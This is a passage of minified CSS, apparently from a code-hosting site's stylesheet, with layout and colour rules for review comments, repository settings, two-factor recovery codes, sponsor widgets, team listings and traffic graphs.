16px;color:var(--color-fg-default)}.review-comment:first-child{padding-top:16px}.review-comment:last-child{padding-bottom:16px}.review-comment .comment-body,.review-comment .comment-reactions{padding:0}.review-comment .comment-body{padding-top:4px}.review-comment .comment-body .suggested-change-form-container:nth-last-of-type(2){margin-bottom:0 !important}.review-comment .comment-reactions{margin-top:4px;border-top:0 !important}.review-comment .comment-reactions.has-reactions{margin-top:12px}.review-comment .show-more-popover.dropdown-menu-sw{right:-5px;margin-top:4px}.review-comment:last-child::after,.review-comment:last-child .review-comment-contents::after{display:none}.review-comment .timeline-comment-action{padding:0 4px}.review-comment .is-comment-editing{position:relative;background-color:var(--color-canvas-default);border:1px solid var(--color-border-default);border-radius:6px}.review-comment .is-comment-editing::after{top:100%;bottom:0;left:19px;height:20px}.review-comment .is-comment-editing .timeline-comment-actions,.review-comment .is-comment-editing .edit-comment-hide{display:none}.review-comment .is-comment-editing .previewable-comment-form{display:block}.review-comment.is-comment-loading .previewable-comment-form{opacity:.5}.pr-review-reactions .has-reactions,.pr-review-reactions .has-reactions.comment-reactions{margin-bottom:16px;margin-left:16px}.timeline-comment.is-comment-editing .discussion-item-header{display:none}.review-thread-reply{padding:8px 16px;background-color:var(--color-canvas-subtle);border-top:1px solid var(--color-border-default);border-radius:0 0 6px 6px}.review-thread-reply .inline-comment-form{margin:-8px -16px;background-color:var(--color-canvas-default);border:0}.review-thread-reply-button{display:inline-block;min-height:28px;padding:4px 8px;margin-left:8px;cursor:text}.readme.contributing>div{max-height:250px;overflow:auto}.readme .markdown-body,.readme .plain{word-wrap:break-word}.readme .plain pre{font-size:14px;white-space:pre-wrap}.file .readme table[data-table-type=yaml-metadata]{font-size:12px;line-height:1}.file .readme table[data-table-type=yaml-metadata] table{margin:0}.labels-list .blankslate{display:none}.labels-list .table-list-header{display:block}.labels-list.is-empty .blankslate{display:block}.labels-list.is-empty .table-list-header{display:none}.label-select-menu-item .g-emoji{font-size:12px;line-height:1;vertical-align:baseline}.label-edit::before{display:table;content:""}.label-edit::after{display:table;clear:both;content:""}.label-edit label{display:block;margin-bottom:8px}.label-edit .error{float:left;margin-top:8px;margin-left:8px;color:var(--color-danger-fg)}.label-edit.loading{display:block}.label-characters-remaining{color:var(--color-fg-muted)}.repo-list{position:relative}.repo-list-item{position:relative;padding-top:32px;padding-bottom:32px;list-style:none;border-bottom:1px solid var(--color-border-muted)}.repo-list-item-with-avatar{padding-left:42px}.repo-list-item-hanging-avatar{float:left;margin-left:-42px}.mini-repo-list-item{position:relative;display:block;padding:4px 64px 4px 32px;font-size:14px;border-top:1px solid var(--color-border-default)}.mini-repo-list-item:hover{text-decoration:none}.mini-repo-list-item:hover .repo,.mini-repo-list-item:hover .owner{text-decoration:underline}.mini-repo-list-item .repo-icon{float:left;margin-top:2px;margin-left:-16px;color:var(--color-fg-muted)}.mini-repo-list-item .repo-and-owner{max-width:220px}.mini-repo-list-item .owner{max-width:110px}.mini-repo-list-item .repo{font-weight:600}.mini-repo-list-item .stars{position:absolute;top:0;right:10px;margin-top:4px;font-size:12px;color:var(--color-fg-muted)}.mini-repo-list-item .repo-description{display:block;max-width:100%;font-size:12px;line-height:21px;color:var(--color-fg-muted)}.private .mini-repo-list-item{background-color:var(--color-attention-subtle)}.private .mini-repo-list-item .repo-icon{color:var(--color-attention-fg)}.form-group.errored label .commit-ref{background-color:var(--color-danger-subtle)}.repo-menu-item:not([aria-current=page])+.repo-sub-menu{display:none}.feature-callout .new-label-hidden{display:none}.feature-callout .new-feature-label.new-label-hidden{display:inline}.repository-og-image{width:100%;max-width:640px;height:320px;object-fit:cover;object-position:center;background-repeat:no-repeat;background-position:center;background-size:cover}.line-clamp-2{display:-webkit-box;-webkit-line-clamp:2;-webkit-box-orient:vertical;overflow:hidden}.timeout{width:auto;height:300px;padding:0;margin:16px 0;background-color:transparent;border:0}.timeout h3{padding-top:100px;color:var(--color-fg-muted)}.repo-language-color{position:relative;top:1px;display:inline-block;width:12px;height:12px;border:1px solid var(--color-primer-border-contrast);border-radius:50%}.iconbutton .octicon{margin-right:0}.prereceive-feedback{padding:16px;margin-bottom:16px;border:1px solid #dfe2e5;border-left:6px solid #caa21a;border-radius:6px}.prereceive-feedback-heading{margin-top:0;margin-bottom:8px;color:var(--color-attention-fg)}.repository-item-checkbox:checked+.repository-item-name{background-color:var(--color-accent-subtle)}.custom-role-icon{background-color:var(--color-canvas-subtle)}.profile-picture{margin:8px 0 0}.profile-picture>p{float:left;margin:0;line-height:30px}.profile-picture>img{float:left;margin:0 8px 0 0;border-radius:6px}.app-owner{margin:16px 0 0}.avatar-upload .flash{width:100%;padding:32px 16px;border:dashed 1px var(--color-danger-emphasis);box-shadow:none}.avatar-upload .upload-state{display:none;padding:8px 0}.avatar-upload .upload-state p{margin:0;font-size:12px;color:var(--color-fg-muted)}.avatar-upload .avatar-upload .octicon{display:inline-block}.is-uploading .avatar-upload .loading{display:block;padding:0}.is-uploading .avatar-upload .loading img{vertical-align:top}.is-uploading .avatar-upload .button-change-avatar{display:none}.is-bad-file .avatar-upload .bad-file{display:block;margin:0}.is-too-big .avatar-upload .too-big{display:block;margin:0}.is-bad-dimensions .avatar-upload .bad-dimensions{display:block;margin:0}.is-bad-format .avatar-upload .bad-format{display:block;margin:0}.is-failed .avatar-upload .failed-request{display:block;margin:0}.is-empty .avatar-upload .file-empty{display:block;margin:0}dl.new-email-form{padding:8px 8px 0;margin:0 -8px 8px;border-top:1px solid var(--color-border-default)}.recent-user-key-access{color:#1e7e34}.oauth-app-info-container .float-left-container{float:left;text-align:left}.oauth-app-info-container .float-right-container{float:right;text-align:right}.oauth-app-info-container dl.keys{margin:8px 0}.oauth-app-info-container dl.keys dt{margin-top:8px;font-weight:600;color:var(--color-fg-muted)}.oauth-app-info-container dl.keys dd{font-family:ui-monospace,SFMono-Regular,SF Mono,Menlo,Consolas,Liberation Mono,monospace;color:var(--color-fg-default)}.oauth-app-info-container .user-count{font-size:32px;font-weight:300;color:var(--color-fg-muted)}.access-token{border-bottom:1px solid var(--color-border-muted)}.access-token:last-child{border:0}.access-token .last-used{margin-right:8px}.access-token.new-token{background-color:rgba(108,198,68,.1)}.access-token.new-token .octicon-check{color:var(--color-success-fg)}.access-token .token-description{max-width:450px;color:var(--color-fg-default)}.access-token .token{font-size:14px}.access-token .token-type{min-width:76px}table.security-history-detail{width:100%;font-size:12px}table.security-history-detail td{max-width:200px;word-wrap:break-word}.u2f-registration{position:relative;padding-bottom:4px;margin-bottom:4px}.u2f-registration.is-sending .u2f-registration-delete{display:none}.u2f-registration.is-sending .spinner{position:relative;top:3px}.u2f-registration-icon{position:absolute;left:-24px;color:var(--color-fg-muted)}.new-u2f-registration{position:relative}.new-u2f-registration .add-u2f-registration-form:not(.for-trusted-device){display:none;margin-bottom:8px}.new-u2f-registration.is-active .add-u2f-registration-link{display:none}.new-u2f-registration.is-active .add-u2f-registration-form{display:block}.new-u2f-registration .webauthn-request-interaction,.new-u2f-registration .webauthn-request-error{display:none}.new-u2f-registration.is-sending .webauthn-request-interaction{display:block}.new-u2f-registration.is-showing-error .webauthn-request-error{display:block}.spinner{display:none}.is-sending .spinner{display:inline-block}.confirmation-phrase{font-style:italic;font-weight:400}.session-device .session-state-indicator.recent{background-color:var(--color-success-emphasis);box-shadow:0 0 10px rgba(108,198,68,.5)}.session-device .session-state-indicator.revoked{background-color:var(--color-danger-emphasis);box-shadow:0 0 10px rgba(198,108,68,.5)}.session-device .session-state-indicator.not-recent{background-image:linear-gradient(#aaa, #ccc);box-shadow:0 1px 0 #fff}.collaborators .collab-list{border-bottom-width:0}.collaborators .collab-list-item:first-child .collab-list-cell{border-top-width:0}.collaborators .collab-list-cell{padding-top:16px;padding-bottom:16px;vertical-align:middle}.collaborators .collab-meta{width:140px}.collaborators .collab-remove{padding-right:16px;text-align:right}.collaborators .collab-remove .remove-link{color:var(--color-fg-muted)}.collaborators .collab-remove .remove-link:hover{color:var(--color-danger-fg)}.collaborators .collab-team-link{width:300px}.collaborators .collab-team-link:hover{text-decoration:none}.collaborators .collab-team-link .avatar{float:left;margin-top:1px;margin-right:8px}.collaborators .collab-team-link.disabled{pointer-events:none}.collaborators .collab-info{height:100%;color:var(--color-fg-default)}.collaborators .collab-info .description{padding-right:50px;margin-top:4px;margin-bottom:4px;overflow:hidden;text-overflow:ellipsis;white-space:nowrap}.collaborators .collab-info .collab-name{display:block;font-size:14px}.collaborators .collab-info .collab-message{position:relative;top:25%;display:block}.collaborators .copy-invite-modal{left:0;width:300px}@media(min-width: 768px){.collaborators .copy-invite-modal{right:0;left:unset;width:352px}}.collaborators .copy-invite-modal::before,.collaborators .copy-invite-modal::after{display:none}.access-form-wrapper{padding:8px;background-color:var(--color-canvas-subtle);border-top:1px solid var(--color-border-default);border-radius:0 0 6px 6px}.access-flash{padding:8px;margin-right:8px;margin-bottom:8px;margin-left:8px}.repo-access-group .blankslate{display:none}.repo-access-group.is-empty .blankslate{display:block}.boxed-group-list .access-level{color:var(--color-fg-muted)}.boxed-group-list .access-level.css-truncate-target{max-width:500px}.settings-next{font-size:14px;line-height:1.5}.settings-next label{font-size:14px}.settings-next .note{font-size:12px}.settings-next .form-checkbox input[type=radio],.settings-next .form-checkbox input[type=checkbox]{margin-top:4px}dl.form-group>dd textarea.compact{height:100px;min-height:0}.form-hr{margin-top:16px;margin-bottom:16px;border-bottom-color:var(--color-border-default, #e5e5e5)}.listgroup{list-style:none;border:1px solid var(--color-border-default, #e5e5e5);border-radius:6px}.listgroup-item{min-height:inherit;padding:8px;font-size:12px;line-height:26px;color:var(--color-fg-muted)}.listgroup-item::before{display:table;content:""}.listgroup-item::after{display:table;clear:both;content:""}.listgroup-item+.listgroup-item{border-top:1px solid var(--color-border-default, #e5e5e5)}.listgroup-item.listgroup-item-preview{line-height:inherit}.listgroup-item.listgroup-item-preview .BtnGroup{margin-top:4px}.listgroup-item .css-truncate-target{max-width:200px}.listgroup-item-title{display:block;font-weight:600}.listgroup-item-body{display:block}.listgroup-header{border-top:0;border-bottom:1px solid var(--color-border-default, #e5e5e5)}.listgroup-overflow{max-height:240px;overflow-y:auto;background-color:var(--color-canvas-subtle, #f5f5f5)}.listgroup-sm .listgroup-item{padding-top:4px;padding-bottom:4px}.protected-branches{margin-top:16px;margin-bottom:16px}.protected-branch-options{margin-left:16px;opacity:.5}.protected-branch-options.active{opacity:1}.protected-branch-reviews.on .require-code-owner-review,.protected-branch-reviews.on .reviews-dismiss-on-push,.protected-branch-reviews.on .reviews-include-dismiss,.protected-branch-reviews.on .allow-force-pushes,.protected-branch-reviews.on .require-approving-reviews{display:block}.protected-branch-reviews .require-code-owner-review,.protected-branch-reviews .reviews-dismiss-on-push,.protected-branch-reviews .reviews-include-dismiss,.protected-branch-reviews .allow-force-pushes,.protected-branch-reviews .require-approving-reviews{display:none}.authorized-pushers{width:440px}.authorized-pushers .add-protected-branch-actor{display:block}.authorized-pushers .actor-limit-reached{display:none;padding:8px;font-size:12px}.authorized-pushers.at-limit .add-protected-branch-actor{display:none}.authorized-pushers.at-limit .actor-limit-reached{display:block;width:440px}.protected-branch-authorized-pushers-table,.protected-branch-pushers-table{margin-top:8px}.protected-branch-authorized-pushers-table .boxed-group-inner,.protected-branch-pushers-table .boxed-group-inner{max-height:350px;overflow-y:auto}.protected-branch-authorized-pushers-table .table-list,.protected-branch-pushers-table .table-list{border-bottom:0}.protected-branch-authorized-pushers-table .table-list-cell,.protected-branch-pushers-table .table-list-cell{vertical-align:middle}.protected-branch-authorized-pushers-table .table-list-cell:first-child,.protected-branch-pushers-table .table-list-cell:first-child{width:100%}.protected-branch-authorized-pushers-table .avatar,.protected-branch-authorized-pushers-table .octicon-jersey,.protected-branch-authorized-pushers-table .octicon-organization,.protected-branch-pushers-table .avatar,.protected-branch-pushers-table .octicon-jersey,.protected-branch-pushers-table .octicon-organization{width:36px;margin-right:8px;text-align:center}.user-already-added::after{display:inline-block;padding:1px 4px;margin-left:4px;font-size:12px;line-height:1.4;color:var(--color-fg-on-emphasis);content:"Already added";background:var(--color-severe-emphasis);border-radius:6px}.protected-branch-admin-permission{padding:4px;margin:-2px 0 -2px -4px;line-height:normal;border:1px solid transparent;border-radius:6px}.protected-branch-admin-permission.active{animation:toggle-color 1s ease-in-out 0s}@keyframes toggle-color{0%{background-color:transparent}50%{color:#4c4a42;background-color:#fff9ea;border-color:#dfd8c2}100%{background-color:transparent}}.automated-check-options{margin-top:8px}.automated-check-options .listgroup-item label{font-size:inherit}.automated-check-options .listgroup-item input[type=checkbox]{float:none;margin-top:-2px;margin-right:4px;margin-left:0}.automated-check-options .label{margin-top:4px}.repository-settings-actions [role=tab][aria-selected=true]{font-weight:600;color:var(--color-fg-default);border-color:var(--color-severe-emphasis)}.repository-settings-actions [role=tab][aria-selected=true] .UnderlineNav-octicon{color:var(--color-fg-muted)}.two-factor-recovery-codes{margin:32px 0;font-family:ui-monospace,SFMono-Regular,SF Mono,Menlo,Consolas,Liberation Mono,monospace;font-size:20px}.two-factor-recovery-code-mark{width:24px;height:24px;font-size:24px;line-height:16px;color:var(--color-fg-muted)}.two-factor-recovery-code{display:inline-block;width:48%;line-height:1.6;text-align:center}.two-factor-recovery-code::before{position:relative;top:-3px;margin-right:8px;font-size:12px;color:var(--color-fg-muted);content:"●"}.recovery-codes-saving-options{margin-left:32px}.recovery-codes-saving-options .recovery-code-save-button{width:115px;margin-right:16px;text-align:center}.recovery-codes-warning{margin:0 -16px}.recovery-codes-warning .recovery-codes-warning-octicon{height:40px;margin-right:16px}.two-factor-steps{padding:16px 16px 0;margin:32px 0;border:1px solid var(--color-border-default);border-radius:6px}.setup-wrapper{width:750px;padding-top:32px;margin:0 auto}.setup-wrapper::before{display:table;content:""}.setup-wrapper::after{display:table;clear:both;content:""}.setup-header{padding-bottom:16px;margin:0 auto 32px;overflow:hidden;text-align:left;border-bottom:1px solid var(--color-border-default)}.setup-header h1{margin-top:0;margin-bottom:0;font-size:48px;font-weight:400;line-height:1.1;letter-spacing:-1px}.setup-header h1 .octicon{color:var(--color-fg-muted)}.setup-header .lead{margin-top:2px;margin-bottom:0;font-size:20px}.setup-header .lead a{color:var(--color-fg-muted)}.setup-header .lead a:hover{color:var(--color-accent-fg);text-decoration:none}.setup-org{padding-bottom:0;border-bottom:0}.setup-main{float:left;width:450px}.setup-secondary{float:right;width:250px}.setup-secondary .info{padding-top:0;padding-bottom:0;margin-top:-8px;font-size:12px;line-height:18px;color:var(--color-fg-muted);text-align:center}.setup-info-module{margin-bottom:32px;background-color:var(--color-canvas-default);border:1px solid var(--color-border-default);border-radius:6px;box-shadow:0 1px 3px rgba(0,0,0,.075)}.setup-info-module h2{padding:16px;margin-bottom:16px;overflow:hidden;font-size:16px;border-bottom:1px solid var(--color-border-default)}.setup-info-module h2 .price{float:right;font-weight:600;color:var(--color-fg-muted)}.setup-info-module h3{padding:0 16px;margin:0 0 -8px;font-size:14px}.setup-info-module p{padding:0 16px;margin:16px 0}.features-list{padding:0 16px 16px;margin:0;font-size:14px;list-style:none}.features-list li{margin-top:8px}.features-list li:first-child{margin-top:0}.features-list .list-divider{margin:16px -16px;border-top:1px solid var(--color-border-muted)}.features-list .octicon-check{margin-right:4px;color:var(--color-success-fg)}.features-list .octicon-question{font-size:12px;color:var(--color-fg-muted)}.features-list .tooltipped::after{width:250px;white-space:normal}.setup-form-container .setup-form-title{font-size:16px}.setup-form-container .secure{float:right;margin-top:2px;font-size:12px;color:var(--color-success-fg);text-transform:uppercase}.setup-form-container hr{margin-top:24px;margin-bottom:24px}.setup-form-container .form-actions{padding-top:0;padding-bottom:0;text-align:left}.team-member-container{margin-bottom:16px}.team-member-container .team-member-username{line-height:1.2}.setup-form{padding-bottom:16px}.setup-form .form-group.successed .error{display:none}.setup-form .form-group dd .form-control{width:100%}.setup-form .form-group dd .form-control.short{width:250px}.setup-form dd{position:relative}.setup-form dd .octicon{position:absolute;top:8px;right:25px}.setup-form .octicon-alert{color:var(--color-danger-fg)}.setup-form .octicon-check{color:var(--color-success-fg)}.setup-form .tos-info,.setup-form .setup-organization-next{margin:16px 0;border-top:1px solid var(--color-border-muted);border-bottom:1px solid var(--color-border-muted)}.setup-form .tos-info{padding:16px 0}.setup-form .setup-organization-next{padding-top:16px;padding-bottom:16px}.setup-form .setup-plans{border-collapse:separate;border:1px solid var(--color-border-default)}.setup-form .setup-plans tr.selected{background-color:var(--color-accent-subtle)}.setup-form .setup-plans .name{font-weight:600}.setup-form .setup-plans .choose-plan input[type=radio]{display:none}.setup-creditcard-form .country-form,.setup-creditcard-form .state-form{float:left;margin:0;word-wrap:normal}.setup-creditcard-form .country-form,.setup-creditcard-form .postal-code-form{margin-top:0;margin-bottom:16px}.setup-creditcard-form .form-group select.select-country{width:182px;margin-right:4px}.setup-creditcard-form .form-group select:invalid{color:var(--color-fg-muted)}.setup-creditcard-form .form-group select.select-state{width:113px}.setup-creditcard-form .form-group .input-vat{width:288px}.setup-creditcard-form .form-group input.input-postal-code{width:180px}.setup-creditcard-form.is-vat-country .vat-field{display:block}.setup-creditcard-form.is-international .form-group select.select-country{width:300px}.setup-creditcard-form.is-international .state-form{display:none}.setup-creditcard-form.no-postcodes .postal-code-form{display:none}.setup-creditcard-form dd .octicon-credit-card{position:inherit}.setup-creditcard-form .vat-field{display:none}.setup-creditcard-form .vat-field.prefilled{display:block}.setup-creditcard-form .help-text{font-size:80%;font-weight:400;color:var(--color-fg-muted)}.user-identification-questions{float:none;width:auto;margin-top:40px}.user-identification-questions .question{margin-bottom:32px}.user-identification-questions .response-group label{font-weight:400}.user-identification-questions .form-checkbox{margin:8px 0}.user-identification-questions .disclaimer{margin:40px 0 0;text-align:center}.user-identification-questions.redesign .question{margin-bottom:96px}.user-identification-questions.redesign .topic-input-container .tag-input{width:100%;border:0;border-bottom:6px solid #000;box-shadow:0 0 0}.signup-plan-summary-subhead{border-bottom:6px solid}.signup-btn:disabled{opacity:.5 !important}.collection-search-results em{padding:.1em;background-color:#faffa6}.draft-tag{padding:4px 8px;font-weight:600;color:#eee;background-color:#404040}.showcase-page-pattern{position:relative;z-index:-1;height:100px;margin-top:-24px;margin-bottom:-70px}.showcase-page-pattern::after{position:absolute;top:0;right:0;bottom:0;left:0;display:block;content:"";background-image:linear-gradient(180deg, rgba(255, 255, 255, 0.85), white)}.showcase-page-repo-list{border-top:1px solid var(--color-border-muted)}.slash-command-menu-item .command-description{color:var(--color-fg-muted)}.slash-command-menu-item[aria-selected=true]{color:var(--color-fg-on-emphasis);background-color:var(--color-accent-emphasis)}.slash-command-menu-item[aria-selected=true] .command-description{color:var(--color-fg-on-emphasis)}.modal-anchor::before{position:fixed;top:0;right:0;bottom:0;left:0;z-index:99;display:block;cursor:default;content:" ";background:var(--color-primer-canvas-backdrop)}.sortable-button-item:first-of-type .sortable-button[data-direction=up],.sortable-button-item:last-of-type .sortable-button[data-direction=down]{display:none}@keyframes sponsors-progress-animation{0%{background-position:100%}100%{background-position:0%}}@keyframes circle-progress{0%{stroke-dasharray:0 100}}.sponsors-funded-dependencies-percent-circle-bg,.sponsors-funded-dependencies-percent-circle{fill:none;stroke-width:3;stroke-linecap:round}.sponsors-funded-dependencies-percent-circle-bg{stroke:var(--color-done-subtle)}.sponsors-funded-dependencies-percent-circle{animation:circle-progress 1s ease-out forwards}.sponsors-goal-progress-bar{background:#ec6cb9;transition:width .5s ease-in}@media(prefers-reduced-motion: no-preference){.sponsors-goal-progress-bar:hover{background:linear-gradient(90deg, #ffd33d 0%, #ea4aaa 17%, #b34bff 34%, #01feff 51%, #ffd33d 68%, #ea4aaa 85%, #b34bff 100%);background-size:300% 100%;animation:sponsors-progress-animation 2s linear infinite}}.sponsors-goal-completed-bar{background:linear-gradient(90deg, #ffd33d 0%, #ea4aaa 17%, #b34bff 34%, #01feff 51%, #ffd33d 68%, #ea4aaa 85%, #b34bff 100%);background-size:300% 100%}@media(prefers-reduced-motion: no-preference){.sponsors-goal-completed-bar{transition:width .5s ease-in;animation:sponsors-progress-animation 2s linear infinite}}.sponsors-goals-avatar-border{background-color:var(--color-canvas-default);border:1px solid var(--color-fg-on-emphasis)}.sponsors-goals-heart-anim{width:100px;height:100px;cursor:pointer;background:url("/images/modules/site/sponsors/heart-explosion.png") no-repeat;background-position:0 0;background-size:600px 100px;transition:background-position .3s steps(5);transition-duration:0s}.sponsors-goals-heart-anim.is-active{background-position:-500px 0;transition-duration:.3s}.open>.sponsors-foldable{max-height:700px}.open .sponsors-foldable-opened{display:block}.open .sponsors-foldable-closed{display:none}.sponsors-foldable{max-height:0;box-sizing:border-box;overflow-y:auto;transition:max-height .25s ease-in-out}.sponsors-foldable-opened{display:none}.sponsors-foldable-closed{display:block}.sponsor-card{width:100%;height:450px;border:0}@media(min-width: 544px){.sponsor-card{height:260px}}.sponsor-cell{padding:8px;vertical-align:middle;border-right:1px solid var(--color-neutral-muted);border-bottom:1px solid var(--color-neutral-muted)}.sponsor-cell:first-child{width:45px;padding-left:32px;border-right-width:0}.sponsor-cell:last-child{padding-left:8px;border-right-width:0}.sponsor-header-cell{padding-right:16px;font-weight:600;text-align:left;border-top:1px solid var(--color-neutral-muted)}.sponsor-row-number{color:var(--color-fg-subtle)}@media(prefers-reduced-motion: no-preference){.tier-category:hover .tier-emoji{animation:wiggle .1s alternate;animation-timing-function:ease;animation-delay:.1s;animation-iteration-count:4}}@keyframes wiggle{0%{transform:rotate(-25deg)}100%{transform:rotate(15deg) scale(1.2)}}.sponsors-featured-item{width:100%}@media(min-width: 768px){.sponsors-featured-item{width:calc(50% - 8px)}}.tab-size[data-tab-size="1"]{-moz-tab-size:1;tab-size:1}.tab-size[data-tab-size="2"]{-moz-tab-size:2;tab-size:2}.tab-size[data-tab-size="3"]{-moz-tab-size:3;tab-size:3}.tab-size[data-tab-size="4"]{-moz-tab-size:4;tab-size:4}.tab-size[data-tab-size="5"]{-moz-tab-size:5;tab-size:5}.tab-size[data-tab-size="6"]{-moz-tab-size:6;tab-size:6}.tab-size[data-tab-size="7"]{-moz-tab-size:7;tab-size:7}.tab-size[data-tab-size="8"]{-moz-tab-size:8;tab-size:8}.tab-size[data-tab-size="9"]{-moz-tab-size:9;tab-size:9}.tab-size[data-tab-size="10"]{-moz-tab-size:10;tab-size:10}.tab-size[data-tab-size="11"]{-moz-tab-size:11;tab-size:11}.tab-size[data-tab-size="12"]{-moz-tab-size:12;tab-size:12}.team-label-ldap{display:inline-block;padding:0 8px;line-height:25px;color:var(--color-fg-muted);text-transform:uppercase;cursor:default;border:1px solid var(--color-border-muted);border-radius:6px;box-shadow:none}.team-label-ldap.header-label-ldap{padding:4px 4px}.team-member-ellipsis{width:25px;height:25px;line-height:24px}.team-member-ellipsis:hover{color:var(--color-accent-fg);background:var(--color-canvas-subtle)}.team-listing .nested-teams-checkbox{padding-left:4px}.team-listing .nested-teams-checkbox.show{padding-right:12px}.team-listing .nested-teams-checkbox.indent-1{padding-left:30px}.team-listing .nested-teams-checkbox.indent-2{padding-left:54px}.team-listing .nested-teams-checkbox.indent-3{padding-left:78px}.team-listing .nested-teams-checkbox.indent-4{padding-left:102px}.team-listing .nested-teams-checkbox.indent-5{padding-left:126px}.team-listing .nested-teams-checkbox.indent-6{padding-left:150px}.team-listing .nested-teams-checkbox.indent-7{padding-left:174px}.team-listing .nested-teams-checkbox.indent-8{padding-left:198px}.team-listing .nested-teams-checkbox.indent-9{padding-left:222px}.team-listing .nested-teams-checkbox.indent-10{padding-left:246px}.team-listing .nested-teams-checkbox.indent-11{padding-left:270px}.team-listing .nested-teams-checkbox.indent-12{padding-left:294px}.team-listing .nested-teams-checkbox.indent-13{padding-left:318px}.team-listing .nested-teams-checkbox.indent-14{padding-left:342px}.team-listing .nested-teams-checkbox.indent-15{padding-left:366px}.team-listing .team-info{width:280px}.team-listing .team-short-info{width:170px}.team-listing .nested-team-info{width:650px}.team-listing .nested-team-name{max-width:268px}.team-listing .shortened-teams-avatars{margin-left:auto}.team-listing .shortened-teams-avatars.width-0{width:300px}.team-listing .shortened-teams-avatars.width-1{width:233px}.team-listing .shortened-teams-avatars.width-2{width:167px}.team-listing .shortened-teams-avatars.width-3{width:99px}.team-listing .team-members-count{width:124px}.team-listing .team-show-more-cell{width:980px}.team-listing .team-buttons{width:150px}.team-listing .octicon-wrapper{width:16px}.team-listing .is-open.root-team{background-color:var(--color-canvas-subtle)}.team-listing .is-open .expand-nested-team{font-weight:600}.team-listing .is-open .octicon-chevron-down{transform:rotate(180deg)}.traffic-graph{min-height:150px}.traffic-graph .activity{margin-top:0}.traffic-graph .activity .dots{margin-top:40px}.traffic-graph .path{fill:none;stroke-width:2}.traffic-graph path.total{stroke:var(--color-success-emphasis)}.traffic-graph path.unique{stroke:var(--color-accent-emphasis)}.traffic-graph .axis.x .tick:first-of-type line{stroke:var(--color-success-emphasis);stroke-width:2px}.traffic-graph .y line{stroke:var(--color-success-emphasis)}.traffic-graph .y.unique line{stroke:var(--color-accent-emphasis)}.traffic-graph .overlay{fill-opacity:0}.uniques-graph .axis.x .tick:last-child line{stroke:var(--color-accent-emphasis);stroke-width:2px}.svg-tip .date{color:var(--color-fg-on-emphasis)}.top-domains .dots{display:block;margin:167px auto 0}table.capped-list{width:100%;line-height:100%}table.capped-list th{padding:8px;text-align:left;background:var(--color-canvas-subtle);border-bottom:1px solid var(--color-border-default)}table.capped-list td{padding:8px;font-size:12px;vertical-align:middle;border-bottom:1px solid var(--color-border-muted)}table.capped-list th.middle,table.capped-list td.middle{text-align:center}table.capped-list .favicon{width:16px;height:16px;margin:0 4px;vertical-align:middle}table.capped-list .octicon{margin-right:8px;color:var(--color-fg-muted);vertical-align:-3px}table.capped-list tr:nth-child(even){background-color:var(--color-canvas-subtle)}.capped-list-label{max-width:200px;overflow:hidden;text-overflow:ellipsis;white-space:nowrap}.traffic-graph-stats .summary-stats{width:100%}.traffic-graph-stats .summary-stats::before{display:table;content:""}.traffic-graph-stats .summary-stats::after{display:table;clear:both;content:""}.traffic-graph-stats .summary-stats li{display:block;float:left;width:50%}.totals circle{fill:var(--color-success-emphasis);stroke:var(--color-canvas-default);stroke-width:2}.uniques circle{fill:var(--color-accent-emphasis);stroke:var(--color-canvas-default);stroke-width:2}ul.web-views li{width:140px}ul.clones li{width:170px}.TrackingBlock .TrackingBlock-list{padding-left:0}.TrackingBlock-item:hover{background-color:var(--color-canvas-inset)}.TrackingBlock-omnibar{display:flex;align-items:stretch;width:100%;border-radius:6px}.TrackingBlock-omnibar:hover .TrackingBlock-omnibar-inputElement{background:var(--color-action-list-item-default-hover-bg);outline:1px solid var(--color-border-default)}.TrackingBlock-omnibar:focus-within .TrackingBlock-omnibar-inputElement{background:var(--color-canvas-default);border-color:var(--color-border-default);border-radius:6px 0 0 6px}.TrackingBlock-omnibar:focus-within .TrackingBlock-omnibar-inputElement:focus-visible{outline:2px solid var(--color-accent-fg);outline-offset:-2px}.TrackingBlock-omnibar:focus-within .TrackingBlock-omnibar-inputButton{display:inline-block}.TrackingBlock [data-disabled] .TrackingBlock-omnibar{background-color:var(--color-canvas-subtle)}.TrackingBlock [data-disabled] .TrackingBlock-omnibar:hover{outline:none !important}.TrackingBlock-omnibar-inputWrapper{position:relative;flex:1}.TrackingBlock-omnibar-inputWrapper .octicon{position:absolute;margin:8px;color:var(--color-fg-muted);pointer-events:none}.TrackingBlock-omnibar-inputWrapper .TrackingBlock-omnibar-inputElement{display:inline-block;width:100%;height:32px;background:transparent;border-color:transparent;border-style:solid;border-width:1px;border-radius:6px;padding-block:4px;padding-inline-start:32px;padding-inline-end:8px}.TrackingBlock-omnibar-inputWrapper .TrackingBlock-omnibar-inputElement:focus{background:var(--color-canvas-default);border-color:var(--color-accent-fg);border-radius:6px 0 0 6px}.TrackingBlock-omnibar .TrackingBlock-omnibar-inputButton{display:none;border-radius:0 6px 6px 0}.tracking-block-item-dropdown{top:4px;right:4px;padding:0 4px;margin-right:8px}.tracking-block-item-dropdown .dropdown-menu::before,.tracking-block-item-dropdown .dropdown-menu::after{display:none}.TrackingBlock-item:hover .dropdown-details-button{z-index:20;width:auto;height:auto;overflow:visible;clip:auto}.TrackingBlock-item:hover .dropdown-details-button svg{overflow:visible}.typeahead-result{position:relative;display:block;min-width:100%;padding:8px;margin-top:0;color:var(--color-fg-default);cursor:pointer}.typeahead-result::before{display:table;content:""}.typeahead-result::after{display:table;clear:both;content:""}.typeahead-result:first-child{border-top:0}.typeahead-result:focus,.typeahead-result:hover,.typeahead-result[aria-selected=true],.typeahead-result.navigation-focus{text-decoration:none}.typeahead-result[aria-selected=true],.typeahead-result:hover,.typeahead-result.navigation-focus{color:var(--color-fg-on-emphasis);background-color:var(--color-accent-emphasis)}.typeahead-result[aria-selected=true] .octicon-plus,.typeahead-result:hover .octicon-plus,.typeahead-result.navigation-focus .octicon-plus{color:var(--color-fg-on-emphasis)}.typeahead-result.disabled{pointer-events:none;opacity:.5}.member-suggestion{padding-left:44px}.member-suggestion .avatar{float:left;margin-right:8px;margin-left:-32px}.member-suggestion .member-suggestion-info{width:90%;margin-top:2px;margin-bottom:0;overflow:hidden;text-overflow:ellipsis;white-space:nowrap}.member-suggestion .member-name{font-size:12px;color:var(--color-fg-muted)}.member-suggestion .member-email{margin-top:0;margin-bottom:0}.member-suggestion .octicon-plus,.member-suggestion .octicon-check{position:absolute;top:50%;right:15px;margin-top:-8px;color:var(--color-fg-muted)}.member-suggestion .already-member-note,.member-suggestion .non-member-note,.member-suggestion .non-member-action{margin-top:0;margin-bottom:0;color:var(--color-fg-muted)}.member-suggestion .non-member-action{display:none}.member-suggestion[aria-selected=true] .member-name,.member-suggestion[aria-selected=true] 